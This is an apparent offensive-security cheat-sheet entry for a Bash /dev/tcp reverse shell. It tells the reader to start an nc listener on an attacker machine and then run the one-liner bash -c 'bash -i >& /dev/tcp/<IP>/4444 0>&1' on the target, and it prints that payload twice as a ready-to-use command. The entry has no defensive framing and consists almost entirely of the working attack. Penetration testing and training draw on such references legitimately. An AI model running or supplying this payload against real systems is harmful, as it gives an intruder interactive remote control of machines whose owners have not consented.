Bash /dev/tcp Reverse Shell
exploitationlinuxtool
Summary
Spawns an interactive Bash reverse shell back to the attacker using Bash's built-in /dev/tcp socket.
Walkthrough
A dependency-free reverse shell that works on most Linux hosts using Bash's /dev/tcp pseudo-device.
Steps
- Start a listener on your attacker box (e.g.
nc -lvnp 4444). - Run the payload on the target, replacing
<IP>with your listener IP and4444with your listener port.
``bash bash -c 'bash -i >& /dev/tcp/<IP>/4444 0>&1' ``
Commands
bash
bash -c 'bash -i >& /dev/tcp/<IP>/4444 0>&1'